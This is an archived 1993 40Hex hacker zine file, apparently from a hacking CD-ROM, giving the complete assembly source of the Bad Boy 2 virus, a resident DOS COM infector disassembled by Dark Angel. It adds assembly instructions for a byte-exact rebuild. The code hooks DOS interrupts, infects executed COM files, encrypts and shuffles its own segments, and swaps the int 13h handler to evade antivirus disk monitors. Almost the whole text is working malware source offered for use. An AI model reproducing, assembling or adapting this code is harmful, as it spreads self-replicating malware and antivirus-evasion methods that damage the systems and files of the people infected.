home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / 40hex-10.zip / 40HEX-10.006 < prev    next >
Text File  |  1993-03-13  |  20KB  |  515 lines

  1. 40Hex Issue 10 Volume 3 Number 1                                      File 006
  2.  
  3. The following is the Bad Boy 2 virus. Patricia M. Hoffman's VSUM is clearly
  4. not a good source of virus description, so we will not bother including its
  5. utterly useless description of the virus here.  Bad Boy 2 is a resident COM
  6. infector.  After 10 infections, it turns itself off.   Although most of the
  7. code is written well, there are still a few bugs and inconsistencies in it.
  8. It implements several well-known stealth techniques, including playing with
  9. the system file table.  It is a segmented virus, with variable placement of
  10. each segment when it infects a file.  Thus the locations of each segment in
  11. the virus relative to each other changes upon each infection.
  12.  
  13. For a byte-to-byte match up of the original, assemble with the following:
  14.         tasm badboy2.asm
  15.         tlink /t badboy2.asm
  16. Note only one pass is required.
  17.  
  18.                                         Dark Angel
  19.                                         Phalcon/Skism 1993
  20.  
  21. -------------------------------------------------------------------------------
  22.                 .model tiny
  23.                 .code
  24.                 org     100h
  25. ; Bad Boy 2 virus
  26. ; Disassembly done by Dark Angel of Phalcon/Skism
  27. ; For 40Hex Issue 10 Volume 3 Number 1
  28. start:
  29.                 push    cs:startviruspointer            ; save on stack for
  30.                 push    cs                              ; return
  31.                 pop     ds
  32.                 jmp     word ptr cs:encryptpointer      ; decrypt virus
  33. endstart:
  34.  
  35. curpointer      dw      0
  36. infcounter      db      0
  37. filesize        dw      2
  38. filetime        dw      0
  39. filedate        dw      0
  40.  
  41. origint21       dw      0, 0
  42. DOSdiskOFF      dw      0
  43. DOSdiskSEG      dw      0
  44. oldint21        dw      0, 0
  45.  
  46. oldint24        dw      0, 0
  47.  
  48. ; The parts of the virus are here
  49. encryptpointer          dw      offset carrierencrypt
  50. startviruspointer       dw      offset startvirus
  51. installpointer          dw      offset install
  52. exitviruspointer        dw      offset exitvirus
  53. restoreint21pointer     dw      offset restoreint21
  54. int24pointer            dw      offset int24
  55. int21pointer            dw      offset int21
  56. infectpointer           dw      offset infect
  57.  
  58. encryptlength           dw      endencrypt-encrypt
  59. startviruslength        dw      endstartvirus-startvirus
  60. installlength           dw      endinstall-install
  61. exitviruslength         dw      endexitvirus-exitvirus
  62. restoreint21length      dw      endrestoreint21-restoreint21
  63. int24length             dw      endint24-int24
  64. int21length             dw      endint21-int21
  65. infectlength            dw      endinfect-infect
  66.  
  67.  
  68. enddata:
  69.  
  70. encrypt: ; and decrypt
  71.                 mov     bx,offset startviruspointer
  72.                 mov     cx,6
  73. do_next_segment:
  74.                 cmp     bx,offset int24pointer
  75.                 jne     not_int24pointer
  76.                 add     bx,2
  77. not_int24pointer:
  78.                 push    bx
  79.                 push    cx
  80.                 mov     ax,[bx]                 ; get start offset
  81.                 mov     cx,[bx+encryptlength-encryptpointer] ; and length
  82.                 mov     bx,ax
  83. encrypt_segment:
  84.                 xor     [bx],al                 ; encrypt cx bytes
  85.                 inc     bx
  86.                 loop    encrypt_segment
  87.  
  88.                 pop     cx
  89.                 pop     bx
  90.                 add     bx,2                    ; go to next segment
  91.                 loop    do_next_segment
  92.                 retn
  93. endencrypt:
  94.  
  95. startvirus:
  96.                 mov     es,cs:[2]               ; get top of memory
  97.                 mov     di,100h                 ; check if virus
  98.                 mov     si,100h                 ; already resident
  99.                 mov     cx,offset endstart - offset start - 1
  100.                 rep     cmpsb
  101.                 jnz     not_installed           ; continue if not
  102.                 jmp     cs:exitviruspointer     ; otherwise, quit
  103. not_installed:
  104.                 mov     ax,cs                   ; get current program's
  105.                 dec     ax                      ; MCB
  106.                 mov     ds,ax
  107.                 cmp     byte ptr ds:[0],'Z'     ; check if last one
  108.                 ;nop
  109.                 je      is_last_MCB             ; continue if so
  110.                 jmp     cs:exitviruspointer     ; otherwise, quit
  111. is_last_MCB:
  112.                 rsize    = ((endvirus - start + 15)/16+1)*3 ; resident size in
  113.                                                 ; paragraphs
  114.                 sub     word ptr ds:[3],rsize   ; decrease MCB's memory
  115.                 mov     ax,es                   ; get segment of high memory
  116.                 sub     ax,rsize                ; decrease by virus size
  117.                 mov     es,ax                   ; es = start segment of virus
  118.                 mov     ds:[12h],ax             ; put value in PSP top of
  119.                                                 ; memory field
  120.                 push    cs
  121.                 pop     ds
  122.                 mov     cs:infcounter,0         ; clear infection counter
  123.                 mov     di,100h
  124.                 mov     cx,offset enddata - offset start
  125.                 mov     si,100h
  126.                 rep     movsb
  127.                 mov     bx,cs:encryptpointer
  128.                 add     bx,encrypt_segment-encrypt+1
  129.                 xor     byte ptr [bx],18h       ; change to: xor [bx],bl
  130.  
  131. ; shuffling segments to different locations
  132.                 mov     cx,8
  133.                 mov     curpointer,offset encrypt
  134. shuffle:
  135.                 push    cx
  136.                 call    random_segment
  137.                 push    bx
  138.                 mov     ax,[bx]
  139.                 push    ax
  140.                 add     bx,encryptlength-encryptpointer
  141.                 mov     cx,[bx]
  142.                 pop     si
  143.                 pop     bx
  144.                 xchg    di,curpointer
  145.                 mov     es:[bx],di              ; copy segment
  146.                 rep     movsb                   ; to memory area
  147.                 xchg    di,curpointer
  148.                 mov     ax,8000h
  149.                 or      [bx],ax                 ; mark already copied
  150.                 pop     cx
  151.                 loop    shuffle
  152.  
  153.                 mov     cl,8
  154.                 not     ax                      ; ax = 7FFFh
  155.                 mov     bx,offset encryptpointer
  156. clear_hibit:                                    ; restore the pointers
  157.                 and     [bx],ax
  158.                 add     bx,2
  159.                 loop    clear_hibit
  160.  
  161.                 jmp     cs:installpointer
  162.  
  163. random_segment:
  164.                 push    cx
  165.                 push    es
  166.                 xor     cx,cx
  167.                 mov     es,cx
  168. random_segment_loop:
  169.                 mov     bx,es:[46Ch]            ; get timer ticks since
  170.                                                 ; midnight MOD 8
  171.                 db      081h,0e3h,7,0           ; and bx,7
  172.                 shl     bx,1                    ; multiply by 2
  173.                 add     bx,offset encryptpointer
  174.                 test    word ptr [bx],8000h     ; check if already moved
  175.                 jnz     random_segment_loop     ; do it again if so
  176.                 pop     es
  177.                 pop     cx
  178.                 retn
  179. endstartvirus:
  180.  
  181. install:
  182.                 xor     ax,ax
  183.                 mov     ds,ax                   ; ds->interrupt table
  184.                 mov     ax,ds:21h*4             ; save old int 21h handler
  185.                 mov     es:oldint21,ax
  186.                 mov     ax,ds:21h*4+2
  187.                 mov     word ptr es:oldint21+2,ax
  188.                 mov     ah,30h                  ; get DOS version
  189.                 int     21h
  190.  
  191.                 cmp     ax,1E03h                ; 3.X?
  192.                 jne     not_DOS_3X              ; skip if not
  193.                 mov     es:origint21,1460h      ; use known value for int 21h
  194.                 mov     ax,1203h                ; get DOS segment
  195.                 push    ds
  196.                 int     2Fh
  197.  
  198.                 mov     word ptr es:origint21+2,ds
  199.                 pop     ds
  200.                 jmp     short is_DOS_3X
  201.                 nop
  202. not_DOS_3X:
  203.                 mov     ax,ds:21h*4
  204.                 mov     es:origint21,ax
  205.                 mov     ax,ds:21h*4+2
  206.                 mov     word ptr es:origint21+2,ax
  207. is_DOS_3X:
  208.                 cli                             ; set new int 21h handler
  209.                 mov     ax,es:int21pointer
  210.                 mov     ds:21h*4,ax
  211.                 mov     ax,es
  212.                 mov     ds:21h*4+2,ax
  213.                 sti
  214.                 mov     cx,es
  215.                 mov     ah,13h                  ; get old DOS disk handler
  216.                 int     2Fh                     ; to es:bx
  217.  
  218.                 push    es
  219.                 mov     es,cx
  220.                 mov     es:DOSdiskOFF,dx
  221.                 mov     es:DOSdiskSEG,ds
  222.                 pop     es
  223.                 int     2Fh                     ; restore DOS disk handler
  224.                 jmp     cs:exitviruspointer
  225. endinstall:
  226.  
  227. exitvirus:
  228.                 push    cs                      ; copy return routine to
  229.                 push    cs                      ; buffer at end of file
  230.                 pop     ds                      ; and transfer control
  231.                 pop     es                      ; to it
  232.                 mov     si,cs:exitviruspointer
  233.                 add     si,offset return_to_COM - offset exitvirus
  234.                 ;nop
  235.                 mov     di,cs:filesize
  236.                 add     di,offset endvirus
  237.                 push    di
  238.                 mov     cx,offset end_return_to_COM - offset return_to_COM
  239.                 cld
  240.                 rep     movsb
  241.                 retn                            ; jmp to return_to_COM
  242.  
  243. return_to_COM:
  244.                 mov     si,cs:filesize
  245.                 add     si,100h
  246.                 cmp     si,offset endvirus      ; check if small file
  247.                 jae     not_negative            ; if not, skip next
  248.                 mov     si,offset endvirus      ; adjust for too small
  249. not_negative:
  250.                 mov     di,100h
  251.                 mov     cx,offset endvirus - offset start - 1 ; ????
  252.                 rep     movsb                   ; copy old file to start
  253.                 mov     ax,100h                 ; and exit the virus
  254.                 push    ax
  255.                 retn
  256. end_return_to_COM:
  257.  
  258. endexitvirus:
  259.  
  260. restoreint21:
  261.                 xor     di,di
  262.                 mov     ds,di
  263.                 cli
  264.                 mov     di,cs:oldint21
  265.                 mov     ds:21h*4,di
  266.                 mov     di,word ptr cs:oldint21+2
  267.                 mov     ds:21h*4+2,di
  268.                 sti
  269.                 retn
  270.  
  271. plea            db      'Make me better!'
  272.  
  273. endrestoreint21:
  274.  
  275. int24:
  276.                 mov     al,3
  277.                 iret
  278.  
  279. message         db      'The Bad Boy virus, Version 2.0, Copyright (C) 1991.',0
  280.  
  281. endint24:
  282.  
  283. int21:
  284.                 push    bx
  285.                 push    si
  286.                 push    di
  287.                 push    es
  288.                 push    ax
  289.                 cmp     ax,4B00h                ; check if execute
  290.                 jz      execute                 ; continue if so
  291.                 jmp     short exitint21
  292.                 nop
  293. execute:
  294.                 push    ds
  295.                 push    cs
  296.                 pop     es
  297.                 xor     ax,ax
  298.                 mov     ds,ax
  299.                 mov     si,24h*4                ; get old int 24h
  300.                 mov     di,offset oldint24      ; handler
  301.                 movsw
  302.                 movsw
  303.                 mov     ax,cs:int24pointer
  304.                 cli                             ; set new critical error
  305.                 mov     ds:24h*4,ax             ; handler
  306.                 mov     ax,cs
  307.                 mov     ds:24h*4+2,ax
  308.                 sti
  309.                 pop     ds
  310.                 mov     ax,3D00h                ; open file read only
  311.                 pushf
  312.                 call    dword ptr cs:oldint21
  313.                 jc      restore_exitint21
  314.                 mov     bx,ax                   ; handle to bx
  315.                 call    cs:infectpointer
  316.                 pushf
  317.                 mov     ah,3eh                  ; close file
  318.                 pushf
  319.                 call    dword ptr cs:oldint21
  320.                 popf
  321.                 jc      restore_exitint21
  322.                 push    ds
  323.                 cli                             ; subvert nasty disk
  324.                 xor     ax,ax                   ; monitoring programs
  325.                 mov     ds,ax
  326.                 mov     ax,cs:DOSdiskOFF
  327.                 xchg    ax,ds:13h*4
  328.                 mov     cs:DOSdiskOFF,ax
  329.                 mov     ax,cs:DOSdiskSEG
  330.                 xchg    ax,ds:13h*4+2
  331.                 mov     cs:DOSdiskSEG,ax
  332.                 sti
  333.                 pop     ds
  334. restore_exitint21:
  335.                 push    ds
  336.                 xor     ax,ax
  337.                 mov     ds,ax
  338.                 mov     ax,cs:oldint24
  339.                 mov     ds:24h*4,ax
  340.                 mov     ax,word ptr cs:oldint24+2
  341.                 mov     ds:24h*4+2,ax
  342.                 pop     ds
  343. exitint21:
  344.                 pop     ax
  345.                 pop     es
  346.                 pop     di
  347.                 pop     si
  348.                 pop     bx
  349.                 jmp     dword ptr cs:oldint21
  350. endint21:
  351.  
  352. infect:
  353.                 push    cx
  354.                 push    dx
  355.                 push    ds
  356.                 push    es
  357.                 push    di
  358.                 push    bp
  359.                 push    bx
  360.                 mov     ax,1220h                ; get JFT entry for file
  361.                 int     2Fh                     ; handle bx
  362.  
  363.                 mov     bl,es:[di]
  364.                 xor     bh,bh
  365.                 mov     ax,1216h                ; get associated SFT
  366.                 int     2Fh                     ; entry to es:di
  367.  
  368.                 pop     bx
  369.                 mov     ax,es:[di+11h]          ; get file size
  370.                 cmp     ax,0F000h               ; exit if too large
  371.                 jb      not_too_large
  372.                 jmp     errorinfect
  373. not_too_large:
  374.                 mov     word ptr es:[di+2],2    ; set to read/write mode
  375.                 mov     ax,es:[di+11h]          ; get file size (again)
  376.                 mov     cs:filesize,ax          ; save it
  377.                 mov     ax,es:[di+0Dh]          ; get file time
  378.                 mov     cs:filetime,ax          ; save it
  379.                 mov     ax,es:[di+0Fh]          ; get file date
  380.                 mov     cs:filedate,ax          ; save it
  381.                 push    cs
  382.                 pop     ds
  383.                 mov     dx,4E9h
  384.                 mov     cx,3E8h
  385.                 mov     ah,3Fh                  ; Read from file
  386.                 pushf
  387.                 call    dword ptr cs:oldint21
  388.                 jnc     read_ok
  389.                 jmp     errorinfect
  390. read_ok:
  391.                 mov     bp,ax
  392.                 mov     si,dx
  393.                 mov     ax,'MZ'                 ; check if EXE
  394.                 cmp     ax,[si]
  395.                 jne     not_MZ
  396.                 jmp     errorinfect
  397. not_MZ:
  398.                 xchg    ah,al
  399.                 cmp     ax,[si]                 ; check if EXE
  400.                 jne     not_ZM
  401.                 jmp     errorinfect
  402. not_ZM:
  403.                 push    es
  404.                 push    di
  405.                 push    cs
  406.                 pop     es
  407.                 mov     si,100h                 ; check if already
  408.                 mov     di,dx                   ; infected
  409.                 mov     cx,offset endstart - offset start - 1
  410.                 repe    cmpsb
  411.                 pop     di
  412.                 pop     es
  413.                 jnz     not_already_infected
  414.                 jmp     errorinfect
  415. not_already_infected:
  416.                 mov     word ptr es:[di+15h],0
  417.                 push    es
  418.                 push    di
  419.                 mov     si,cs:infectpointer
  420.                 add     si,offset write_virus - offset infect
  421.                 xor     di,di
  422.                 push    cs
  423.                 pop     es
  424.                 mov     cx,offset end_write_virus-offset write_virus
  425.                 cld
  426.                 rep     movsb
  427.                 pop     di
  428.                 pop     es
  429.                 mov     si,cs:infectpointer
  430.                 add     si,offset finish_infect - offset infect
  431.                 push    si
  432.                 xor     si,si
  433.                 push    si
  434.                 push    ds
  435.                 cli                             ; subvert nasty
  436.                 xor     ax,ax                   ; antivirus programs
  437.                 mov     ds,ax
  438.                 mov     ax,cs:DOSdiskOFF
  439.                 xchg    ax,ds:13h*4
  440.                 mov     cs:DOSdiskOFF,ax
  441.                 mov     ax,cs:DOSdiskSEG
  442.                 xchg    ax,ds:13h*4+2
  443.                 mov     cs:DOSdiskSEG,ax
  444.                 sti
  445.                 pop     ds
  446.                 retn
  447.  
  448. write_virus:
  449.                 push    bx
  450.                 call    cs:encryptpointer       ; encrypt virus
  451.                 pop     bx
  452.                 mov     dx,100h
  453.                 mov     ah,40h                  ; write virus
  454.                 mov     cx,offset endvirus - offset start
  455.                 pushf
  456.                 call    dword ptr cs:origint21
  457.                 pushf
  458.                 push    bx
  459.                 call    cs:encryptpointer       ; decrypt virus
  460.                 pop     bx
  461.                 popf
  462.                 jnc     write_OK
  463.                 pop     ax
  464.                 mov     ax,cs:infectpointer
  465.                 add     ax,offset infectOK - offset infect
  466.                 push    ax
  467.                 retn
  468. write_OK:
  469.                 mov     ax,es:[di+11h]          ; move file pointer
  470.                 mov     es:[di+15h],ax          ; to end of file
  471.                 mov     dx,offset endvirus
  472.                 mov     cx,bp
  473.                 mov     ah,40h                  ; concatenate carrier
  474.                 pushf                           ; file's first few bytes
  475.                 call    dword ptr cs:origint21
  476.                 retn
  477. end_write_virus:
  478.  
  479. finish_infect:
  480.                 mov     ax,5701h                ; restore file time/date
  481.                 mov     cx,cs:filetime
  482.                 mov     dx,cs:filedate
  483.                 pushf
  484.                 call    dword ptr cs:oldint21
  485.                 inc     cs:infcounter
  486.                 cmp     cs:infcounter,10d       ; after 10 infections,
  487.                 jne     infectOK
  488.                 call    cs:restoreint21pointer  ; turn off virus
  489.                 jmp     short infectOK
  490. errorinfect:
  491.                 stc                             ; set error flag
  492.                 jmp     short exitinfect
  493. infectOK:
  494.                 clc                             ; clear error flag
  495. exitinfect:
  496.                 pop     bp
  497.                 pop     di
  498.                 pop     es
  499.                 pop     ds
  500.                 pop     dx
  501.                 pop     cx
  502.                 retn
  503. endinfect:
  504.                 db      0
  505. endvirus:
  506.                 int     20h
  507.  
  508. carrierencrypt:
  509.                 mov     word ptr cs:encryptpointer,offset encrypt
  510.                 retn
  511.  
  512.                 end     start
  513. -------------------------------------------------------------------------------
  514.                                                                              DA
  515.